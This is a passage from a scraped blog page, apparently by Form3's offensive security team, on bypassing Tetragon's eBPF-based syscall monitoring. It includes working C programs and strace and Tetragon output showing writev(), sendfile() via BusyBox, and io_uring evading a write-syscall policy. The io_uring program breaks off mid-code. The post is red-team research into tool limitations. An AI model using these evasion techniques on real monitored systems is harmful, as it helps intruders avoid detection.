3\nbind(3, {sa_family=AF_INET, sin_port=htons(8080), sin_addr=inet_addr(\"127.0.0.1\")}, 16) = 0\nlisten(3, 0)                            = 0\naccept4(3, {sa_family=AF_INET, sin_port=htons(58868), sin_addr=inet_addr(\"127.0.0.1\")}, [112->16], 0) = 4\n...\nrecvmsg(4, {msg_name=0x400004e0e0, msg_namelen=112->0, msg_iov=[{iov_base=\"hello\\n\", iov_len=8}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 6\n...\nclose(4)                                = 0\nclose(3)                                = 0",[],"code_block$cfd409cf-63c7-4ba5-bd77-419e51bcbce7",{"variation":437,"version":438,"items":31134,"primary":31135,"id":31141,"slice_type":468,"slice_label":5},[],{"body":31136},[31137],{"type":25,"text":31138,"spans":31139},"This example is slightly more complicated than the file-writing example, because we need to open a TCP connection to the program and send data to it. netcat is a convenient tool to do this, and in this example we just send the text \"hello world\", and then close the connection with a keyboard interrupt.",[31140],{"start":9206,"end":11218,"type":765},"rich_text$b4ffa83d-9d20-4213-9f95-2bd17c07688c",{"variation":437,"version":438,"items":31143,"primary":31144,"id":31168,"slice_type":468,"slice_label":5},[],{"body":31145},[31146,31149,31152,31155,31158,31161,31165],{"type":988,"text":31147,"spans":31148,"direction":445},"Summary and conclusions",[],{"type":25,"text":31150,"spans":31151,"direction":445},"I hope this blog post has demystified some of the workings of the Linux kernel, and the relationship it has with user-run programs. The top takeaways for me are:",[],{"type":1151,"text":31153,"spans":31154,"direction":445},"The Linux kernel exposes services to programs via syscalls, which are functions which allow a program to interact with system resources.",[],{"type":1151,"text":31156,"spans":31157,"direction":445},"Syscalls are executed in kernel space, as opposed to a program's regular instructions, which are executed in user space.",[],{"type":1151,"text":31159,"spans":31160,"direction":445},"Syscalls themselves cover a wide range of functionality, include disk I\u002FO and networking.",[],{"type":1151,"text":31162,"spans":31163,"direction":445},"The use of syscalls by an application can be observed directly using strace, which is a useful diagnostic tool.",[31164],{"start":3397,"end":2651,"type":765},{"type":25,"text":31166,"spans":31167,"direction":445},"Congratulations, you've earned your one hundred Linux experience points!",[],"rich_text$496f67bc-6722-40b6-9e6e-f1aa38d8cab2",{"id":31170,"uid":31171,"type":25949,"data":31172},"alz1FBEAACsAUWfD","bypassing-ebpf-tools",{"title":31173,"excerpt":31174,"card_image":31175,"published_date":31180,"reading_time":1633,"tag":25960,"dek":31174,"featured_image":31181,"about_form3":31182,"client_about_heading":5,"client_about_body":31183,"author_name":5,"author_title":5,"author_photo":31184,"author_bio":31185,"author_linkedin":31186,"slices":31187,"meta_title":31173,"meta_description":31174},"Bypassing eBPF-based Security Enforcement Tools","During penetration tests and red team engagements, eBPF-based security observability and runtime enforcement tools can make it difficult to use public offensive security tools and techniques, as they are more often detected and blocked. However, eBPF-based tools have limitations which allow adversaries to bypass their controls. In this blog post, I will introduce some of the limitations and bypass techniques.",{"dimensions":31176,"alt":31173,"copyright":5,"url":31177,"id":31178,"edit":31179},{"width":412,"height":412},"\u002F_prismic-media\u002F16440598ac43337d-QPuwYqIhGPjfPk3h_bypassing-ebpf-tools.png","QPuwYqIhGPjfPk3h",{"x":398,"y":398,"zoom":399,"background":400},"2022-06-06",{},[],[],{},[],{"link_type":434},[31188,31211,31225,31239,31254,31262,31271,31279,31288,31296,31306,31314,31322,31330,31341,31349,31362,31381,31390,31405,31413,31426,31434,31443,31451,31460,31468,31477,31485,31494,31502,31520,31528,31537,31545,31555,31563,31572,31580,31589,31597,31618,31626,31640,31648,31656,31664,31672,31680,31730,31738,31775,31783,31792,31800,31808,31816,31825,31843,31851,31859,31867,31877,31885,31897,31905,31913,31921,31930,31938,31946,31954,31962,31970],{"variation":437,"version":438,"items":31189,"primary":31190,"id":31210,"slice_type":468,"slice_label":5},[],{"body":31191},[31192,31195,31201,31204,31207],{"type":988,"text":31193,"spans":31194,"direction":445},"This post will cover:",[],{"type":3373,"text":31196,"spans":31197,"direction":445},"Tetragon: open-source eBPF-based security observability and runtime enforcement tool",[31198],{"start":398,"end":1633,"type":489,"data":31199},{"link_type":491,"url":31200,"target":493},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon",{"type":3373,"text":31202,"spans":31203,"direction":445},"Policies limitations",[],{"type":3373,"text":31205,"spans":31206,"direction":445},"Bypassing I\u002FO system call monitoring with io_uring",[],{"type":3373,"text":31208,"spans":31209,"direction":445},"Process execution context",[],"rich_text$455a2bff-ea0b-4b27-88e8-ca5235487f3f",{"variation":437,"version":438,"items":31212,"primary":31213,"id":31224,"slice_type":468,"slice_label":5},[],{"body":31214},[31215,31218,31221],{"type":988,"text":31216,"spans":31217,"direction":445},"Tetragon",[],{"type":25,"text":31219,"spans":31220,"direction":445},"Recently Isovalent released the Tetragon opensource project, an eBPF-based security observability and runtime enforcement platform that has been part of Isovalent Cilium Enterprise for a couple of years.",[],{"type":25,"text":31222,"spans":31223,"direction":445},"Open-sourcing parts of Isovalent Cilium Enterprise as project Tetragon and opening it up for the entire community inspired us at Form3 Offensive Security team to explore eBPF-based security observability and runtime enforcement tools capabilities and limitations.",[],"rich_text$6190fcff-9de4-44ba-b7e2-6ac933d41302",{"variation":437,"version":438,"items":31226,"primary":31227,"id":31238,"slice_type":468,"slice_label":5},[],{"body":31228},[31229,31232],{"type":988,"text":31230,"spans":31231,"direction":445},"Setup",[],{"type":25,"text":31233,"spans":31234,"direction":445},"To get a hands-on experience with Tetragon and the generated events follow the Tetragonquickstart-guideto setup a Kind cluster and install Tetragon using a helm-based installation.",[31235],{"start":2224,"end":3886,"type":489,"data":31236},{"link_type":491,"url":31237,"target":493},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon#quickstart-guide","rich_text$499114bb-1de5-4d20-9e58-8308b84e0efa",{"variation":437,"version":438,"items":31240,"primary":31241,"id":31253,"slice_type":468,"slice_label":5},[],{"body":31242},[31243,31246,31249],{"type":988,"text":31244,"spans":31245,"direction":445},"Functionality Overview",[],{"type":25,"text":31247,"spans":31248,"direction":445},"Tetragon uses kprobe hook points to observe arbitrary kernel calls in the Linux kernel, giving it the ability to monitor process opens, reads, writes, and closes throughout its lifecycle.",[],{"type":25,"text":31250,"spans":31251,"direction":445},"To explore how Tetragon syscall monitoring works apply the write.yaml TracingPolicy.",[31252],{"start":592,"end":3397,"type":765},"rich_text$68714bee-0e2f-411c-93d5-7a0fc87c541c",{"variation":437,"version":438,"items":31255,"primary":31256,"id":31261,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31257},[31258],{"type":27922,"text":31259,"spans":31260},"kubectl apply -f .\u002Ftetragon\u002Fcrds\u002Fexamples\u002Fwrite.yaml",[],"code_block$67ddb2b4-e7e6-42a5-8a16-b798ed130d38",{"variation":437,"version":438,"items":31263,"primary":31264,"id":31270,"slice_type":468,"slice_label":5},[],{"body":31265},[31266],{"type":25,"text":31267,"spans":31268},"Create a testing pod using the ubuntu image.",[31269],{"start":690,"end":846,"type":765},"rich_text$517fde7d-ebfd-4f36-b5ea-7e681b4044e7",{"variation":437,"version":438,"items":31272,"primary":31273,"id":31278,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31274},[31275],{"type":27922,"text":31276,"spans":31277},"kubectl run demo --image ubuntu --command sleep infinity",[],"code_block$f6a7c268-e634-49cc-83a0-d666fdff9fba",{"variation":437,"version":438,"items":31280,"primary":31281,"id":31287,"slice_type":468,"slice_label":5},[],{"body":31282},[31283],{"type":25,"text":31284,"spans":31285},"In another terminal, start monitoring the events from the demo pod.",[31286],{"start":9203,"end":1029,"type":765},"rich_text$a59917f6-1489-48cd-8b3a-f8aaf852a2d9",{"variation":437,"version":438,"items":31289,"primary":31290,"id":31295,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31291},[31292],{"type":27922,"text":31293,"spans":31294},"kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo",[],"code_block$6ef6e3a5-77c2-4e60-a836-a8a349fca142",{"variation":437,"version":438,"items":31297,"primary":31298,"id":31305,"slice_type":468,"slice_label":5},[],{"body":31299},[31300],{"type":25,"text":31301,"spans":31302},"To test the TracingPolicy kubectl exec into the demo pod and read the contents of \u002Fetc\u002Fhostname.",[31303,31304],{"start":5490,"end":1251,"type":765},{"start":1406,"end":3885,"type":765},"rich_text$ce441f2b-1a31-4e22-b7d8-5d321dd6e9b1",{"variation":437,"version":438,"items":31307,"primary":31308,"id":31313,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31309},[31310],{"type":27922,"text":31311,"spans":31312},"kubectl exec -it demo -- cat \u002Fetc\u002Fhostname",[],"code_block$cf563415-a2fb-45fd-8c60-0a28c5be062e",{"variation":437,"version":438,"items":31315,"primary":31316,"id":31321,"slice_type":468,"slice_label":5},[],{"body":31317},[31318],{"type":25,"text":31319,"spans":31320},"The output in the terminal should be the hostname of the pod.",[],"rich_text$30b36b43-a252-4952-929c-a3175d7e9b5e",{"variation":437,"version":438,"items":31323,"primary":31324,"id":31329,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31325},[31326],{"type":27922,"text":31327,"spans":31328},"demo",[],"code_block$1efbbcb0-e6b7-4ad2-98ca-727457873e06",{"variation":437,"version":438,"items":31331,"primary":31332,"id":31340,"slice_type":468,"slice_label":5},[],{"body":31333},[31334],{"type":25,"text":31335,"spans":31336},"Looking into the output in the terminal running tetragon observe we should see the write system call used by the cat command.",[31337,31338,31339],{"start":5490,"end":4083,"type":765},{"start":28611,"end":3290,"type":765},{"start":2055,"end":19148,"type":765},"rich_text$c6073f68-8e88-46e9-9dae-52527b0be5a4",{"variation":437,"version":438,"items":31342,"primary":31343,"id":31348,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31344},[31345],{"type":27922,"text":31346,"spans":31347},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat \u002Fetc\u002Fhostname                        \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat  5 bytes                             \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fcat \u002Fetc\u002Fhostname 0",[],"code_block$9292fa27-9201-4f6f-84e3-5ff9e18a42ed",{"variation":437,"version":438,"items":31350,"primary":31351,"id":31361,"slice_type":468,"slice_label":5},[],{"body":31352},[31353],{"type":25,"text":31354,"spans":31355},"The output shows the cat process inside a Kubernetes workload performing a write system call with the contents of \u002Fetc\u002Fhostname to stdout, also known as standard output with the default file descriptor with the number 1. Now that we have a baseline let's look into how to bypass this TracingPolicy.",[31356,31357,31358,31359,31360],{"start":703,"end":9799,"type":765},{"start":2651,"end":3872,"type":765},{"start":6836,"end":3294,"type":765},{"start":4105,"end":9205,"type":765},{"start":19453,"end":17506,"type":765},"rich_text$ac673f88-e5af-4555-99d8-df265f8ba830",{"variation":437,"version":438,"items":31363,"primary":31364,"id":31380,"slice_type":468,"slice_label":5},[],{"body":31365},[31366,31369,31376],{"type":988,"text":31367,"spans":31368,"direction":445},"The sys-write TracingPolicy",[],{"type":25,"text":31370,"spans":31371,"direction":445},"This TracingPolicy uses kprobe hook points, to observe arbitrary kernel system calls in the Linux kernel. We will look at the sys-write example TracingPolicy and see how it monitors detecting the write system calls.",[31372,31375],{"start":643,"end":2769,"type":489,"data":31373},{"link_type":491,"url":31374,"target":493},"https:\u002F\u002Fgithub.com\u002Fcilium\u002Ftetragon\u002Fblob\u002Fmain\u002Fcrds\u002Fexamples\u002Fwrite.yaml",{"start":19498,"end":19450,"type":765},{"type":25,"text":31377,"spans":31378,"direction":445},"The snippet below shows how the __x64_sys_write call is used in the TracingPolicy.",[31379],{"start":5489,"end":9251,"type":765},"rich_text$ea7f8654-cd3f-4054-8a96-752122b58e9c",{"variation":437,"version":438,"items":31382,"primary":31383,"id":31389,"slice_type":27926,"slice_label":5},[],{"language_label":31384,"code":31385},"yaml",[31386],{"type":27922,"text":31387,"spans":31388},"apiVersion: cilium.io\u002Fv1alpha1\nkind: TracingPolicy\nmetadata:\n  name: \"sys-write\"\nspec:\n  kprobes:\n  - call: \"__x64_sys_write\"\n    syscall: true\n    args:\n    - index: 0\n      type: \"int\"\n    - index: 1\n      type: \"char_buf\"\n      sizeArgIndex: 3\n    - index: 2\n      type: \"size_t\"\n    # follow any non-init pids stdout e.g. exec into container\n    selectors:\n    - matchPIDs:\n      - operator: NotIn\n        followForks: true\n        isNamespacePID: true\n        values:\n        - 1\n      matchArgs:\n      - index: 0\n        operator: \"Equal\"\n        values:\n        - \"1\"",[],"code_block$fee6768f-2298-4319-84fc-22d6dc7fbf75",{"variation":437,"version":438,"items":31391,"primary":31392,"id":31404,"slice_type":468,"slice_label":5},[],{"body":31393},[31394,31397,31400],{"type":988,"text":31395,"spans":31396,"direction":445},"Baseline",[],{"type":25,"text":31398,"spans":31399,"direction":445},"The first observation is that the effectiveness of the policy, as with most security monitoring tools, is directly related to the synchronous behaviour of the evaluated processes and system calls. To analyse this behaviour, we start by isolating the system call in a small C program and use it as a baseline.",[],{"type":25,"text":31401,"spans":31402,"direction":445},"write(2) function synopsis",[31403],{"start":398,"end":1633,"type":765},"rich_text$c519b33c-8fed-44e0-9c65-9b37157a69f8",{"variation":437,"version":438,"items":31406,"primary":31407,"id":31412,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31408},[31409],{"type":27922,"text":31410,"spans":31411},"#include \u003Cunistd.h>\n\nssize_t write(int fd, const void *buf, size_t count);",[],"code_block$e0808b4b-88dd-4fe6-a801-5493253ff99b",{"variation":437,"version":438,"items":31414,"primary":31415,"id":31425,"slice_type":468,"slice_label":5},[],{"body":31416},[31417,31423],{"type":25,"text":31418,"spans":31419},"The write(2) system call is used to write to a file descriptor, in our baseline example the file descriptor is standard output with the file descriptor number 1.",[31420],{"start":4603,"end":2707,"type":489,"data":31421},{"link_type":491,"url":31422},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fwrite.2.html",{"type":25,"text":31395,"spans":31424},[],"rich_text$beb09c67-5ad4-4e85-bd7e-b99a27f8039d",{"variation":437,"version":438,"items":31427,"primary":31428,"id":31433,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31429},[31430],{"type":27922,"text":31431,"spans":31432},"#include \u003Cunistd.h>\n\nint main()\n{\n    write(1,\"Writing using write()!\\n\",24); \n}",[],"code_block$ee356c2e-8f00-4adc-b6b2-d2beed05a81c",{"variation":437,"version":438,"items":31435,"primary":31436,"id":31442,"slice_type":468,"slice_label":5},[],{"body":31437},[31438],{"type":25,"text":31439,"spans":31440},"Executing the program with strace allows us to observe the system calls.",[31441],{"start":3485,"end":9077,"type":765},"rich_text$dbbd26b1-a67f-4c09-bdcb-8ce72c85d867",{"variation":437,"version":438,"items":31444,"primary":31445,"id":31450,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31446},[31447],{"type":27922,"text":31448,"spans":31449},"$ strace .\u002Fwrite\nexecve(\".\u002Fwrite\", [\".\u002Fwrite\"], 0x7ffce310ca50 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffe797eb220) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x175c000\nbrk(0x175d1c0)                          = 0x175d1c0\narch_prctl(ARCH_SET_FS, 0x175c880)      = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fwrite\", 4096) = 18\nbrk(0x177e1c0)                          = 0x177e1c0\nbrk(0x177f000)                          = 0x177f000\nmprotect(0x4bd000, 12288, PROT_READ)    = 0\nwrite(1, \"Writing using write()!\\n\\0\", 24Writing using write()!\n) = 24\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$8351517a-db84-4681-9801-86654048391d",{"variation":437,"version":438,"items":31452,"primary":31453,"id":31459,"slice_type":468,"slice_label":5},[],{"body":31454},[31455],{"type":25,"text":31456,"spans":31457},"From the output, we verify how the write(2) system call is detected using the kprobe hook.",[31458],{"start":628,"end":5136,"type":765},"rich_text$f5059a56-d44a-4a00-99fc-d32a68e79829",{"variation":437,"version":438,"items":31461,"primary":31462,"id":31467,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31463},[31464],{"type":27922,"text":31465,"spans":31466},"write(1, \"Writing using write()!\\n\\0\", 24) = 24",[],"code_block$ebe16cd1-fca2-4188-8708-bd11dccaeb5f",{"variation":437,"version":438,"items":31469,"primary":31470,"id":31476,"slice_type":468,"slice_label":5},[],{"body":31471},[31472],{"type":25,"text":31473,"spans":31474},"Executing the program in the demo pod confirms that our baseline works as intended.",[31475],{"start":871,"end":9077,"type":765},"rich_text$3941914a-fc63-4282-aa77-393cffad03c8",{"variation":437,"version":438,"items":31478,"primary":31479,"id":31484,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31480},[31481],{"type":27922,"text":31482,"spans":31483},"$ kubectl exec -it demo -- write\nWriting using write()!",[],"code_block$3bcbaa72-b552-4e48-8eb8-b960b81b1d6d",{"variation":437,"version":438,"items":31486,"primary":31487,"id":31493,"slice_type":468,"slice_label":5},[],{"body":31488},[31489],{"type":25,"text":31490,"spans":31491},"From the output, we can see that Tetragon can detect the write(2) system call.",[31492],{"start":3639,"end":9237,"type":765},"rich_text$bd74bf48-484e-4636-a2b0-72038f1aa261",{"variation":437,"version":438,"items":31495,"primary":31496,"id":31501,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31497},[31498],{"type":27922,"text":31499,"spans":31500},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite                                    \n📝 write   default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite  24 bytes                          \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fwrite  0",[],"code_block$2a25558a-fcc4-47d6-b996-d7a518254cb2",{"variation":437,"version":438,"items":31503,"primary":31504,"id":31519,"slice_type":468,"slice_label":5},[],{"body":31505},[31506,31509,31515],{"type":988,"text":31507,"spans":31508,"direction":445},"Limitations",[],{"type":25,"text":31510,"spans":31511,"direction":445},"Obviously, the simplest way to bypass the example rule is to use a function equivalent to write() like writev() for example, which performs the same action as write(), but gathers the output data from the iovcnt buffers specified by the members of the iov array.",[31512,31513,31514],{"start":5497,"end":4084,"type":765},{"start":3886,"end":3971,"type":765},{"start":2675,"end":9156,"type":765},{"type":25,"text":31516,"spans":31517,"direction":445},"writev()",[31518],{"start":398,"end":1633,"type":765},"rich_text$b425d30e-7f58-4c34-9206-441c8267017b",{"variation":437,"version":438,"items":31521,"primary":31522,"id":31527,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31523},[31524],{"type":27922,"text":31525,"spans":31526},"#include \u003Csys\u002Fuio.h>\n\nint main()\n{\n    struct iovec vecs;\n    vecs.iov_base = \"Writing using writev()!\\n\";\n    vecs.iov_len = 25;\n\n    writev(1, &vecs, 1);\n}",[],"code_block$749b78e2-ce67-4e48-8117-beba8c7547b3",{"variation":437,"version":438,"items":31529,"primary":31530,"id":31536,"slice_type":468,"slice_label":5},[],{"body":31531},[31532],{"type":25,"text":31533,"spans":31534},"Executing the program with strace to verify what system calls are called.",[31535],{"start":3485,"end":9077,"type":765},"rich_text$2b7c5f86-7603-4042-be43-eca494f1f5c7",{"variation":437,"version":438,"items":31538,"primary":31539,"id":31544,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31540},[31541],{"type":27922,"text":31542,"spans":31543},"$ strace .\u002Fwritev \nexecve(\".\u002Fwritev\", [\".\u002Fwritev\"], 0x7ffc915e7460 \u002F* 24 vars *\u002F) = 0\narch_prctl(0x3001 \u002F* ARCH_??? *\u002F, 0x7ffcf4e0cf80) = -1 EINVAL (Invalid argument)\nbrk(NULL)                               = 0x6d8000\nbrk(0x6d91c0)                           = 0x6d91c0\narch_prctl(ARCH_SET_FS, 0x6d8880)       = 0\nuname({sysname=\"Linux\", nodename=\"lab\", ...}) = 0\nreadlink(\"\u002Fproc\u002Fself\u002Fexe\", \"\u002Fhome\u002Fubuntu\u002Fwritev\", 4096) = 19\nbrk(0x6fa1c0)                           = 0x6fa1c0\nbrk(0x6fb000)                           = 0x6fb000\nmprotect(0x4bd000, 12288, PROT_READ)    = 0\nwritev(1, [{iov_base=\"Writing using writev()!\\n\\0\", iov_len=25}], 1Writing using writev()!\n) = 25\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$ee7c008b-2260-4eea-9620-abb4d241d066",{"variation":437,"version":438,"items":31546,"primary":31547,"id":31554,"slice_type":468,"slice_label":5},[],{"body":31548},[31549],{"type":25,"text":31550,"spans":31551},"From the output we can see the writev(2) system call is called by the writev program.",[31552,31553],{"start":690,"end":10399,"type":765},{"start":847,"end":854,"type":765},"rich_text$5986a7ef-8963-4927-9168-dcb75f81b0da",{"variation":437,"version":438,"items":31556,"primary":31557,"id":31562,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31558},[31559],{"type":27922,"text":31560,"spans":31561},"writev(1, [{iov_base=\"Writing using writev()!\\n\\0\", iov_len=25}], 1) = 25",[],"code_block$5e50e7f9-8596-4732-a419-428d6466da35",{"variation":437,"version":438,"items":31564,"primary":31565,"id":31571,"slice_type":468,"slice_label":5},[],{"body":31566},[31567],{"type":25,"text":31568,"spans":31569},"Executing the program in the demo pod allows us to confirm that the system call is not detected.",[31570],{"start":871,"end":9077,"type":765},"rich_text$5f961d52-a5c4-445c-a56c-dc2d7f933b2c",{"variation":437,"version":438,"items":31573,"primary":31574,"id":31579,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31575},[31576],{"type":27922,"text":31577,"spans":31578},"$ kubectl exec -it demo -- writev\nWriting using writev()!",[],"code_block$176695e3-b6eb-400f-8d51-017f0ba4a73c",{"variation":437,"version":438,"items":31581,"primary":31582,"id":31588,"slice_type":468,"slice_label":5},[],{"body":31583},[31584],{"type":25,"text":31585,"spans":31586},"From the output, as expected, Tetragon is unable to detect the writev(2) system call because it does not match the TracingPolicy.",[31587],{"start":629,"end":3089,"type":765},"rich_text$f7296db9-4686-4c80-8ea0-4a3977bdf9d0",{"variation":437,"version":438,"items":31590,"primary":31591,"id":31596,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31592},[31593],{"type":27922,"text":31594,"spans":31595},"$ kubectl logs -n kube-system ds\u002Ftetragon -c export-stdout -f | tetragon observe --namespace default --pod demo\n🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fwritev                                   \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fwritev  0",[],"code_block$11e27fe2-58e5-449b-a245-f5d4021de7d5",{"variation":437,"version":438,"items":31598,"primary":31599,"id":31617,"slice_type":468,"slice_label":5},[],{"body":31600},[31601,31604,31613],{"type":25,"text":31602,"spans":31603},"These limitations although obvious and expected from such a simple example rule is still worth mentioning, as this is a recurring problem for security monitoring tools, often expressed as a cat-and-mouse game. Defenders will increase the coverage of their rules and adversaries will look for exceptions and fringe cases.",[],{"type":25,"text":31605,"spans":31606},"A less intuitive example of this issue can occur with the sendfile(2) system call, used to transfer data between file descriptors, and in practice sendfile(2) a combination of the read(2) and write(2) system calls.",[31607,31608,31611,31612],{"start":9203,"end":3397,"type":765},{"start":5103,"end":4141,"type":489,"data":31609},{"link_type":491,"url":31610},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fsendfile.2.html",{"start":3774,"end":790,"type":765},{"start":19452,"end":2056,"type":765},{"type":25,"text":31614,"spans":31615},"sendfile(2) synopsis",[31616],{"start":398,"end":602,"type":765},"rich_text$368dfed1-cbc4-42f0-a4aa-f121f299088f",{"variation":437,"version":438,"items":31619,"primary":31620,"id":31625,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31621},[31622],{"type":27922,"text":31623,"spans":31624},"#include \u003Csys\u002Fsendfile.h>\n\nssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);",[],"code_block$0190d4ae-1360-4674-ba8d-5f4c6b32e71e",{"variation":437,"version":438,"items":31627,"primary":31628,"id":31639,"slice_type":468,"slice_label":5},[],{"body":31629},[31630,31634],{"type":25,"text":31631,"spans":31632},"The sendfile(2) system call is used as an example by BusyBox, a software suite that provides several Unix utilities in a single executable file commonly present in container images. If not taken into consideration when developing detection policies equivalent functions even when not intentionally misused can still be abused by an adversary to bypass detection.",[31633],{"start":4603,"end":2477,"type":765},{"type":25,"text":31635,"spans":31636},"Executing busybox with strace we can verify what system calls are being called.",[31637,31638],{"start":905,"end":6911,"type":765},{"start":4023,"end":871,"type":765},"rich_text$a1936981-5728-4fef-b6ac-954758c60ab7",{"variation":437,"version":438,"items":31641,"primary":31642,"id":31647,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31643},[31644],{"type":27922,"text":31645,"spans":31646},"$ strace busybox cat \u002Fetc\u002Fhostname\n[...snip...]\nopenat(AT_FDCWD, \"\u002Fetc\u002Fhostname\", O_RDONLY) = 3\nsendfile(1, 3, NULL, 16777216lab\n)          = 4\nsendfile(1, 3, NULL, 16777216)          = 0\nclose(3)                                = 0\nexit_group(0)                           = ?\n+++ exited with 0 +++",[],"code_block$92fd35c9-98ca-4cfe-9fe4-ce1cc5b3cbea",{"variation":437,"version":438,"items":31649,"primary":31650,"id":31655,"slice_type":468,"slice_label":5},[],{"body":31651},[31652],{"type":25,"text":31653,"spans":31654},"Execution",[],"rich_text$0984667a-c3cd-4dde-8fad-c850e63eff81",{"variation":437,"version":438,"items":31657,"primary":31658,"id":31663,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31659},[31660],{"type":27922,"text":31661,"spans":31662},"$ kubectl exec -it demo -- busybox cat \u002Fetc\u002Fhostname\ndemo",[],"code_block$08f7929a-7222-4fbf-b313-bab0c9a6b59e",{"variation":437,"version":438,"items":31665,"primary":31666,"id":31671,"slice_type":468,"slice_label":5},[],{"body":31667},[31668],{"type":25,"text":31669,"spans":31670},"Output",[],"rich_text$dce99015-303b-41b5-99b7-9c13dabd4557",{"variation":437,"version":438,"items":31673,"primary":31674,"id":31679,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31675},[31676],{"type":27922,"text":31677,"spans":31678},"🚀 process default\u002Fdemo \u002Fusr\u002Fbin\u002Fbusybox cat \u002Fetc\u002Fhostname                \n💥 exit    default\u002Fdemo \u002Fusr\u002Fbin\u002Fbusybox cat \u002Fetc\u002Fhostname 0",[],"code_block$d8631e83-52c3-4efa-909f-e56158afaeb3",{"variation":437,"version":438,"items":31681,"primary":31682,"id":31729,"slice_type":468,"slice_label":5},[],{"body":31683},[31684,31687,31693,31696,31700,31713,31719,31722,31726],{"type":988,"text":31685,"spans":31686,"direction":445},"Enter the io_uring",[],{"type":25,"text":31688,"spans":31689,"direction":445},"Now that we have seen how system call detection can be bypassed using equivalent functions, let's look at a more generic and novel way to bypass system call monitoring, taking advantage of io_uring. This new asynchronous I\u002FO API for Linux was created by Jens Axboe from Facebook to address performance issues with similar interfaces provided by functions like read, write and other functions that operate on data accessed by sockets and file descriptors.",[31690,31691,31692],{"start":10863,"end":3304,"type":765},{"start":2053,"end":2608,"type":765},{"start":16370,"end":27797,"type":765},{"type":25,"text":31694,"spans":31695,"direction":445},"The purpose of this example is not to bypass detection using another equivalent function, but to observe how the new asynchronous I\u002FO APIs for Linux can present new challenges to security monitoring tools.",[],{"type":25,"text":31697,"spans":31698,"direction":445},"io_uring a high level overview",[31699],{"start":398,"end":3041,"type":593},{"type":25,"text":31701,"spans":31702,"direction":445},"The io_uring asynchronous I\u002FO API was introduced in Linux kernel version 5.1 (March 2019) and consists of three system calls, io_uring_setup(2), io_uring_register(2) and io_uring_enter(2). The io_uring instance uses two rings, a submission queue (SQ) for submission of requests and a completion queue (CQ) that informs about the completion of those requests, shared between the kernel and the program using io_uring_setup() and mapped using two mmap(2) calls.",[31703,31704,31705,31706,31707,31708,31710],{"start":4603,"end":2707,"type":765},{"start":19498,"end":5329,"type":765},{"start":4106,"end":4589,"type":765},{"start":19001,"end":790,"type":765},{"start":19452,"end":3186,"type":765},{"start":28070,"end":31709,"type":765},423,{"start":31711,"end":31712,"type":765},445,452,{"type":25,"text":31714,"spans":31715,"direction":445},"The program creates one or more SQ entries (SQE) instructing io_uring what asynchronous I\u002FO operation it needs to get done, readv(2) or writev(2) for example, and then updates the SQ tail. The kernel reads the SQEs, and updates the SQ head.",[31716,31717,31718],{"start":3407,"end":3397,"type":765},{"start":4586,"end":4105,"type":765},{"start":3295,"end":19521,"type":765},{"type":25,"text":31720,"spans":31721,"direction":445},"The kernel then creates CQ entries (CQE) for one or more of the completed requests and updates the CQ tail. The program then consumes the CQEs and updates the CQ head. An important note is that completion events can arrive in any order, associated only with the specific SQEs.",[],{"type":25,"text":31723,"spans":31724,"direction":445},"The bypass",[31725],{"start":398,"end":905,"type":593},{"type":25,"text":31727,"spans":31728,"direction":445},"With this in mind, we can write a small C program to bypass system call monitoring.",[],"rich_text$def5585b-7d8f-4108-8e32-a27f09c382ca",{"variation":437,"version":438,"items":31731,"primary":31732,"id":31737,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":31733},[31734],{"type":27922,"text":31735,"spans":31736},"#include \u003Cliburing.h>\n\nint main()\n{\n\tstruct iovec vecs;\n\tstruct io_uring ring;\n\tstruct io_uring_cqe *cqe;\n\tstruct io_uring_sqe *sqe;\n\n\tvecs.iov_base = \"Writing using io_uring!\\n\";\n\tvecs.iov_len = 25;\n\n\tio_uring_queue_init(8, &ring, 0);\n\n\tsqe = io_uring_get_sqe(&ring);\n\n\tio_uring_prep_writev(sqe, 